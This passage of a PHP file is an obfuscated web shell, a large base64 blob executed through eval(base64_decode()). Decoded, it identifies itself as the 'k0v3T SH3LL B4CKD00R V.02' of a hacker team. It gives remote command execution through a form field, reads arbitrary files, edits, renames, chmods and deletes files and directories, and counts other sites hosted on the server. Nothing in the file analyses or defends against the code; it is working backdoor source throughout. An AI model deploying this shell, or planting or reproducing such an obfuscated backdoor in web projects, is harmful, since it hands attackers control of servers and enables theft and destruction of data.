ICAgICBpZigkdXNlcl9qdW1waW5nX3VybCA9PSAkdXNlcl9pZHhfanVtcCkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiID0+ICggPHU+JGRqPC91PiApPGJyPiI7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9CiAgICB9CiAgICBpZigkaSA9PSAwKSB7CiAgICB9IGVsc2UgewplY2hvICI8YnI+VG90YWwgYWRhICIuJGkuIiBLYW1hciBkaSAiLmdldGhvc3RieW5hbWUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4iIjsKICAgIAogICAgZWNobyAiPC9kaXY+PC9wcmU+IjsKICAgICAgICB9CgogICAgCgoKLy9DT05GSUcKCn0gZWxzZWlmKCRfR0VUWydhJ10gPT0gJ2NtZCcpIHsKICAgIGVjaG8gIjxmb3JtIG1ldGhvZD0ncG9zdCc+CiAgICA8Zm9udCBzdHlsZT0ndGV4dC1kZWNvcmF0aW9uOiB1bmRlcmxpbmU7Jz4iLiR1c2VyLiJAIi4kaXAuIjogfiAkIDwvZm9udD4KICAgIDxpbnB1dCB0eXBlPSd0ZXh0JyBzaXplPSczMCcgaGVpZ2h0PScxMCcgbmFtZT0nY21kJz48aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdkb19jbWQnIHZhbHVlPSc+Pic+CiAgICA8L2Zvcm0+IjsKICAgIGlmKCRfUE9TVFsnZG9fY21kJ10pIHsKICAgICAgICBlY2hvICI8cHJlPiIuZXhlKCRfUE9TVFsnY21kJ10pLiI8L3ByZT4iOwogICAgfQoKLy9TVEFSVAp9IGVsc2VpZihpc3NldCgkX0dFVFsnZmlsZXNyYyddKSl7CmVjaG8gIjx0cj48dGQ+Q3VycmVudCBGaWxlIDogIjsKZWNobyAkX0dFVFsnZmlsZXNyYyddOwplY2hvICc8L3RyPjwvdGQ+PC90YWJsZT48YnIgLz4nOwplY2hvKCcgPGNlbnRlcj48dGV4dGFyZWEgc3R5bGU9IndpZHRoOjgwJTtoZWlnaHQ6NTAlOyIgcmVhZG9ubHk+ICcuaHRtbHNwZWNpYWxjaGFycyhmaWxlX2dldF9jb250ZW50cygkX0dFVFsnZmlsZXNyYyddKSkuJzwvdGV4dGFyZWE+PC9jZW50ZXI+Jyk7Cn1lbHNlaWYoaXNzZXQoJF9HRVRbJ29wdGlvbiddKSAmJiAkX1BPU1RbJ29wdCddICE9ICdkZWxldGUnKXsKZWNobyAnPC90YWJsZT48YnIgLz4nLiRfUE9TVFsncGF0aCddLic8YnIgLz48YnIgLz4nOwppZigkX1BPU1RbJ29wdCddID09ICdjaG1vZCcpewppZihpc3NldCgkX1BPU1RbJ3Blcm0nXSkpewppZihjaG1vZCgkX1BPU1RbJ3BhdGgnXSwkX1BPU1RbJ3Blcm0nXSkpewplY2hvICc8Zm9udCBjb2xvcj0ieWVsbG93Ij5HYW50aSAgUGVybWlzc2lvbiBCZXJoYXNpbCBHYW48L2ZvbnQ+PGJyIC8+JzsKfWVsc2V7CmVjaG8gJzxmb250IGNvbG9yPSJSRUQiPkdhbnRpIFBlcm1pc3Npb24gR2FnYWwgR2FuPC9mb250PjxiciAvPic7Cn0KfQplY2hvICc8Zm9ybSBtZXRob2Q9IlBPU1QiPgpQZXJtaXNzaW9uIDogPGlucHV0IG5hbWU9InBlcm0iIHR5cGU9InRleHQiIHNpemU9IjQiIHZhbHVlPSInLnN1YnN0cihzcHJpbnRmKCclbycsIGZpbGVwZXJtcygkX1BPU1RbJ3BhdGgnXSkpLCAtNCkuJyIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9ImNobW9kIj4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkNobW9kIiAvPgo8L2Zvcm0+JzsKfWVsc2VpZigkX1BPU1RbJ29wdCddID09ICdyZW5hbWUnKXsKaWYoaXNzZXQoJF9QT1NUWyduZXduYW1lJ10pKXsKaWYocmVuYW1lKCRfUE9TVFsncGF0aCddLCRwYXRoLicvJy4kX1BPU1RbJ25ld25hbWUnXSkpewplY2hvICc8Zm9udCBjb2xvcj0ieWVsbG93Ij5HYW50aSBOYW1hIEJlcmhhc2lsIEdhbjwvZm9udD48YnIgLz4nOwp9ZWxzZXsKZWNobyAnPGZvbnQgY29sb3I9IlJFRCI+R2FudGkgTmFtYSBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsKfQokX1BPU1RbJ25hbWUnXSA9ICRfUE9TVFsnbmV3bmFtZSddOwp9CmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Ck5hbWEgQmFydSA6IDxpbnB1dCBuYW1lPSJuZXduYW1lIiB0eXBlPSJ0ZXh0IiBzaXplPSIzMCIgdmFsdWU9IicuJF9QT1NUWyduYW1lJ10uJyIgLz4KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icGF0aCIgdmFsdWU9IicuJF9QT1NUWydwYXRoJ10uJyI+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im9wdCIgdmFsdWU9InJlbmFtZSI+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJVYmFoIE5hbWEiIC8+CjwvZm9ybT4nOwp9ZWxzZWlmKCRfUE9TVFsnb3B0J10gPT0gJ2VkaXQnKXsKaWYoaXNzZXQoJF9QT1NUWydzcmMnXSkpewokZnAgPSBmb3BlbigkX1BPU1RbJ3BhdGgnXSwndycpOwppZihmd3JpdGUoJGZwLCRfUE9TVFsnc3JjJ10pKXsKZWNobyAnPGZvbnQgY29sb3I9InllbGxvdyI+RWRpdCBGaWxlIEJlcmhhc2lsIEdhbjwvZm9udD48YnIgLz4nOwp9ZWxzZXsKZWNobyAnPGZvbnQgY29sb3I9IlJFRCI+RWRpdCBGaWxlIEdhZ2FsIEdhbjwvZm9udD48YnIgLz4nOwp9CmZjbG9zZSgkZnApOwp9CmVjaG8gJzxmb3JtIG1ldGhvZD0iUE9TVCI+Cjx0ZXh0YXJlYSBjb2xzPTE0MCByb3dzPTIwIG5hbWU9InNyYyI+Jy5odG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKCRfUE9TVFsncGF0aCddKSkuJzwvdGV4dGFyZWE+PGJyIC8+CjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InBhdGgiIHZhbHVlPSInLiRfUE9TVFsncGF0aCddLiciPgo8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJvcHQiIHZhbHVlPSJlZGl0Ij4KPGlucHV0IHR5cGU9InN1Ym1pdCIgdmFsdWU9IkVkaXQgRmlsZSIgLz4KPC9mb3JtPic7Cn0KZWNobyAnPC9jZW50ZXI+JzsKfWVsc2V7CmVjaG8gJzwvdGFibGU+PGJyIC8+PGNlbnRlcj4nOwppZihpc3NldCgkX0dFVFsnb3B0aW9uJ10pICYmICRfUE9TVFsnb3B0J10gPT0gJ2RlbGV0ZScpewppZigkX1BPU1RbJ3R5cGUnXSA9PSAnZGlyJyl7CmlmKHJtZGlyKCRfUE9TVFsncGF0aCddKSl7CmVjaG8gJzxmb250IGNvbG9yPSJ5ZWxsb3ciPkhhcHVzIERpciBCZXJoYXNpbCBHYW48L2ZvbnQ+PGJyIC8+JzsKfWVsc2V7CmVjaG8gJzxmb250IGNvbG9yPSJyZWQiPkhhcHVzIERpciBHYWdhbCBHYW48L2ZvbnQ+PGJyIC8+JzsKfQp9ZWxzZWlmKCRfUE9TVFsndHlwZSddID09ICdmaWxlJyl7CmlmKHVubGluaygkX1BPU1RbJ3BhdGgnXSkpewplY2hvICc8Zm9udCBjb2xvcj0ieWVsbG93Ij5IYXB1cyBGaWxlIEJlcmhhc2lsIEdhbjwvZm9udD48YnIgLz4nOwp9ZWxzZXsKZWNobyAnPGZvbnQgY29sb3I9IiNyZWQiPkhhcHVzIEZpbGUgR2FnYWwgR2FuPC9mb250PjxiciAvPic7Cn0KfQp9CiAgICAgICAgCmVjaG8gJzwvY2VudGVyPic7CiRzY2FuZGlyID0gc2NhbmRpcigkcGF0aCk7CmVjaG8gJzxkaXYgaWQ9ImNvbnRlbnQiPjx0YWJsZSB3aWR0aD0iNzAwcHgiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjQiIGNlbGxzcGFjaW5nPSIxIiBhbGlnbj0iY2VudGVyIj4KPHRyIGNsYXNzPSJmaXJzdCI+CjxiPjx0ZD48Y2VudGVyPjxmb250IGNvbG9yPWJsYWNrIHNpemU9Mz5OYW1lPC9mb250PjwvY2VudGVyPjwvdGQ+PC9iPgo8Yj48dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1ibGFjayBzaXplPTM+U2l6ZTwvZm9udD48L2NlbnRlcj48L3RkPjwvYj4KPGI+PHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9YmxhY2sgc2l6ZT0zPlBlcm1pc3Npb25zPC9mb250PjwvY2VudGVyPjwvdGQ+PC9iPgo8Yj48dGQ+PGNlbnRlcj48Zm9udCBjb2xvcj1ibGFjayBzaXplPTM+T3B0aW9uczwvZm9udD48L2NlbnRlcj48L3RkPjwvYj4KPC90cj4nOwoKZm9yZWFjaCgkc2NhbmRpciBhcyAkZGlyKXsKaWYoIWlzX2RpcigiJHBhdGgvJGRpciIpIHx8ICRkaXIgPT0gJy4nIHx8ICRkaXIgPT0gJy4uJykgY29udGludWU7CmVjaG8gIjx0ZCBjbGFzcz0ndGRfaG9tZSc+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxSMGxHT0RsaEV3QVFBTE1BQUFBQUFQLy8vNXljQU03T1kvLy9uUC8venYvT25QZjM5Ly8vL3dBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIi4iQUFBQUFDSDVCQUVBQUFnQUxBQUFBQUFUQUJBQUFBUlJFTWxKcTcwNDZ5cDZCeHNpSEVWQkVBS1lDVVByRHA3SGxYUmRFb01xQ2VicCIuIi80WWNoZmZ6R1FoSDRZUllQQjJET2xIUGlLd3FkMVBxOHlyVlZnM1FZZUg1UllLNXJKZmFGVVVBM3ZCNGZCSUJBRHM9Jz4KPGEgaHJlZj1cIj9wYXRoPSRwYXRoLyRkaXJcIj48Zm9udCBjb2xvcj1yZWQ+JGRpcjwvZm9udD48L2E+PC90ZD4KPHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9cmVkPkRpcmVjdG9yeTwvZm9udD48L2NlbnRlcj48L3RkPgo8dGQ+PGNlbnRlcj4iOwogICAgCmlmKGlzX3dyaXRhYmxlKCIkcGF0aC8kZGlyIikpIGVjaG8gJzxmb250IGNvbG9yPSJ5ZWxsb3ciPic7CmVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRkaXIiKSkgZWNobyAnPGZvbnQgY29sb3I9InJlZCI+JzsKZWNobyBwZXJtcygiJHBhdGgvJGRpciIpOwppZihpc193cml0YWJsZSgiJHBhdGgvJGRpciIpIHx8ICFpc19yZWFkYWJsZSgiJHBhdGgvJGRpciIpKSBlY2hvICc8L2ZvbnQ+JzsKCmVjaG8gIjwvY2VudGVyPjwvdGQ+Cjx0ZD48Y2VudGVyPjxmb3JtIG1ldGhvZD1cIlBPU1RcIiBhY3Rpb249XCI/b3B0aW9uJnBhdGg9JHBhdGhcIj4KPHNlbGVjdCBuYW1lPVwib3B0XCI+CjxvcHRpb24gdmFsdWU9XCJTZWxlY3RcIj5TZWxlY3Q8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT1cImRlbGV0ZVwiPkRlbGV0ZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPVwiY2htb2RcIj5DaG1vZDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPVwicmVuYW1lXCI+UmVuYW1lPC9vcHRpb24+Cjwvc2VsZWN0Pgo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJ0eXBlXCIgdmFsdWU9XCJkaXJcIj4KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGRpclwiPgo8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIkcGF0aC8kZGlyXCI+CjxpbnB1dCB0eXBlPVwic3VibWl0XCIgdmFsdWU9XCI+XCIgLz4KPC9mb3JtPjwvY2VudGVyPjwvdGQ+CjwvdHI+IjsKfQplY2hvICc8dHIgY2xhc3M9ImZpcnN0Ij48dGQ+PC90ZD48dGQ+PC90ZD48dGQ+PC90ZD48dGQ+PC90ZD48L3RyPic7CmZvcmVhY2goJHNjYW5kaXIgYXMgJGZpbGUpewppZighaXNfZmlsZSgiJHBhdGgvJGZpbGUiKSkgY29udGludWU7CiRzaXplID0gZmlsZXNpemUoIiRwYXRoLyRmaWxlIikvMTAyNDsKJHNpemUgPSByb3VuZCgkc2l6ZSwzKTsKaWYoJHNpemUgPj0gMTAyNCl7CiRzaXplID0gcm91bmQoJHNpemUvMTAyNCwyKS4nIE1CJzsKfWVsc2V7CiRzaXplID0gJHNpemUuJyBLQic7Cn0KCmVjaG8gIjx0cj4KPHRkPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBQVhOU1IwSUFyczRjNlFBQUFBWmlTMGRFQVA4QS93RC9vTDJua3dBQUFBbHdTRmx6QUFBTEV3QUFDeE1CQUpxY0dBQUFBQWQwU1UxRkI5b0pCaGNUSnYyQjJkNEFBQUpNU1VSQlZEakxiWk85VGh4WkVJVy9xbHZkdE0zOEJOZ0pRbVFnSkdkK0EvTVFCTHdHaml3SDNud2RrU0x0TzJ4RVJHNUxxeFhSU0lSMllEZkQ0R2tHTTBQM3JiNGI5UEF6MGw3cFNsV2xXMGZubkxvbEFJUEI0UFhoNGVGdW51Y0FJSUx3ZEVTZVp5QWlmbnA2K3U5b05MbzNnTTNOelRkSFIrLy96dkpNelN5SktLb2RpSWc4QVhheGVJejFiRFo3TXhxTmZ0Z1NVUkRXeTdMVW5aMGRZbXhBRkFWRWxJNkFFQ3lnSXNRUXNpekxCT0FCQURPaktBcHFoN3U3R29DVVdpd1liZXRvVUhyclBjd0Nxb0YyS1VlWEx6RXpCdjArdVFtU0hNRVo5RjZTWmNyNmk0SXNCT2EvYjdIUU1hSHRJQXdnTGRIYWxEQTFldjBlUWJTanJFclF3SnBxRjRlQXgvaG9xRDEzMm1Na0pyaTV1U09sRmhFaHBVUUlpb2p3YW1PRE5zbGpmVVdDcXBMbk9hYUNTS0p0bmFCQ3NaWWpBbGxtWEk0dmFlb2FWWDBjYlNkaG1VUjN6QUt2TmpZNlZpb28wdFd6Z0VvbktiVytLa0dXdDNVbnQwQ2VHZkpzOWcrVVUwckVHSEgvSHcvTWpINi9UK1BPZEZvUk5LQ2hNMjJ4bU9QZXNwalBHUTZIcE5RMjd0NnNBQ0RTTmFueW9sakRMRWRWYUZPTGU4WmtVaks1dWtxM3Q3OWxQQzcvT0RrNUdhK1k2TzVNcXltTnczVjF5M2h5emZYMGhxdkpMeWJYRmQrK2YyZDNkMGRtcytxdmc0T0R6OGZIeDAvTHNiZTM5NjRzUzcrNHVFanVucHFtU2U2ZTNEM041L04wV1pidGx5OWYwOW5aMlovYjI5djJmTEVldnZLOXF2N2MydG9LaThVaWlRaXFIYm02cmlXNmExM2ZuK3p2NzMrb3FvcmhjTGdLVUZYVlArZm41MitMb25qOElMSjBQOFpJQ0NGOS9QVHBDbGhwQnZnUGVsb0w5VTU1TklBQUFBQUFTVVZPUks1Q1lJST0nPgo8YSBocmVmPVwiP2ZpbGVzcmM9JHBhdGgvJGZpbGUmcGF0aD0kcGF0aFwiPjxmb250IGNvbG9yPXJlZD4kZmlsZTwvZm9udD48L2E+PC90ZD4KPHRkPjxjZW50ZXI+PGZvbnQgY29sb3I9UmVkPiIuJHNpemUuIjwvZm9udD48L2NlbnRlcj48L3RkPgo8dGQ+PGNlbnRlcj4iOwppZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSkgZWNobyAnPGZvbnQgY29sb3I9eWVsbG93Pic7CmVsc2VpZighaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzxmb250IGNvbG9yPXJlZD4nOwplY2hvIHBlcm1zKCIkcGF0aC8kZmlsZSIpOwppZihpc193cml0YWJsZSgiJHBhdGgvJGZpbGUiKSB8fCAhaXNfcmVhZGFibGUoIiRwYXRoLyRmaWxlIikpIGVjaG8gJzwvZm9udD4nOwplY2hvICI8L2NlbnRlcj48L3RkPgo8dGQ+PGNlbnRlcj48Zm9ybSBtZXRob2Q9XCJQT1NUXCIgYWN0aW9uPVwiP29wdGlvbiZwYXRoPSRwYXRoXCI+CjxzZWxlY3QgbmFtZT1cIm9wdFwiPgo8b3B0aW9uIHZhbHVlPVwiU2VsZWN0XCI+U2VsZWN0PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9XCJkZWxldGVcIj5EZWxldGU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT1cImNobW9kXCI+Q2htb2Q8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT1cInJlbmFtZVwiPlJlbmFtZTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPVwiZWRpdFwiPkVkaXQ8L29wdGlvbj4KPC9zZWxlY3Q+CjxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInR5cGVcIiB2YWx1ZT1cImZpbGVcIj4KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwibmFtZVwiIHZhbHVlPVwiJGZpbGVcIj4KPGlucHV0IHR5cGU9XCJoaWRkZW5cIiBuYW1lPVwicGF0aFwiIHZhbHVlPVwiJHBhdGgvJGZpbGVcIj4KPGlucHV0IHR5cGU9XCJzdWJtaXRcIiB2YWx1ZT1cIj5cIiAvPgo8L2Zvcm0+PC9jZW50ZXI+PC90ZD4KPC90cj4iOwp9CmVjaG8gJzwvdGFibGU+CjwvZGl2Pic7Cn0KZWNobyAnPGJyIC8+CjxjZW50ZXI+Cjxmb250IHNpemU9MyA7IGNvbG9yPXdoaXRlPmswdjNUIFNIM0xMIEI0Q0tEMDBSICBWLjAyIC0gPGZvbnQgc2l6ZT0zIDsgY29sb3I9cmVkPjk5U1lOPGZvbnQgc2l6ZT0zIDsgY29sb3I9d2hpdGU+RElDQVRFLVRFQU08YnI+PGZvbnQgc2l6ZT00IDsgY29sb3I9d2hpdGU+Q29weXJpZ2h0ICZjb3B5OyBJbmRvbmVzaWFuIEhhY2tlciBDb21tdW5pdHk8L2ZvbnQ+PC9icj4KCjwvYm9keT4KPC9odG1sPic7CmZ1bmN0aW9uIHBlcm1zKCRmaWxlKXsKJHBlcm1zID0gZmlsZXBlcm1zKCRmaWxlKTsKCmlmICgoJHBlcm1zICYgMHhDMDAwKSA9PSAweEMwMDApIHsKLy8gU29ja2V0CiRpbmZvID0gJ3MnOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7Ci8vIFN5bWJvbGljIExpbmsKJGluZm8gPSAnbCc7Cn0gZWxzZWlmICgoJHBlcm1zICYgMHg4MDAwKSA9PSAweDgwMDApIHsKLy8gUmVndWxhcgokaW5mbyA9ICctJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDYwMDApID09IDB4NjAwMCkgewovLyBCbG9jayBzcGVjaWFsCiRpbmZvID0gJ2InOwp9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7Ci8vIERpcmVjdG9yeQokaW5mbyA9ICdkJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDIwMDApID09IDB4MjAwMCkgewovLyBDaGFyYWN0ZXIgc3BlY2lhbAokaW5mbyA9ICdjJzsKfSBlbHNlaWYgKCgkcGVybXMgJiAweDEwMDApID09IDB4MTAwMCkgewovLyBGSUZPIHBpcGUKJGluZm8gPSAncCc7Cn0gZWxzZSB7Ci8vIFVua25vd24KJGluZm8gPSAndSc7Cn0KCi8vIE93bmVyCiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7CiRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDQwKSA/CigoJHBlcm1zICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDoKKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7CgovLyBHcm91cAokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAyMCkgPyAncicgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAxMCkgPyAndycgOiAnLScpOwokaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPwooKCRwZXJtcyAmIDB4MDQwMCkgPyAncycgOiAneCcgKSA6CigoJHBlcm1zICYgMHgwNDAwKSA/ICdTJyA6ICctJykpOwoKLy8gV29ybGQKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDIpID8gJ3cnIDogJy0nKTsKJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDEpID8KKCgkcGVybXMgJiAweDAyMDApID8gJ3QnIDogJ3gnICkgOgooKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKCnJldHVybiAkaW5mbzsKfQ='; eval(base64_decode($code)); ?>